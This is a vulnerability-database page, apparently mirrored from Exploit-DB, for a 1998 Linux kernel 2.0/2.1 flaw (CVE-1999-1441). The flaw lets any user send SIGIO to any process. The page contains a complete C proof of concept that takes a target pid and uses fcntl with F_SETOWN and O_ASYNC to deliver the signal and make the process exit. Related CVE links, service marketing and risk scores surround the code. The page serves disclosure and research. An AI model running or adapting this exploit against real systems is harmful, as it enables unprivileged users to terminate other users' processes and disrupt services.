Lucene search
+L

Linux Kernel 2.0/2.1 - Send a SIGIO Signal To Any Process

🗓️ 30 Jun 1998 00:00:00Reported by David LuyerType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 22 Views

Vulnerability allows users to send SIGIO signals to processes, causing exits if unhandled.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-1999-1441
12 Sep 200104:00
cve
cvelist
Cvelist
CVE-1999-1441
12 Sep 200104:00
cvelist
euvd
EUVD
EUVD-1999-1422
7 Oct 202500:30
euvd
nvd
NVD
CVE-1999-1441
30 Jun 199804:00
nvd
packetstorm
Packet Storm
Linux Kernel 2.0 / 2.1 Send SIGIO Signal
1 Jan 200000:00
packetstorm
/*
source: https://www.securityfocus.com/bid/111/info

A vulnerability in the Linux kernel allows any user to send a SIGIO signal to any process. If the process does not catch or ignore the signal is will exit.
*/

/* On non-glibc systems you must add
*
* #define O_ASYNC FASYNC
*/
#include <fcntl.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
int s, p;

if(argc != 2) {
fputs("Please specify a pid to send signal to.\n", stderr);
exit(0);
} else {
p = atoi(argv[1]);
}
fcntl(0,F_SETOWN,p);
s = fcntl(0,F_GETFL,0);
fcntl(0,F_SETFL,s|O_ASYNC);
printf("Sending SIGIO - press enter.\n");
getchar();
fcntl(0,F_SETFL,s&~O_ASYNC);
printf("SIGIO send attempted.\n");
return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Jun 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 22.1
EPSS0.00703
22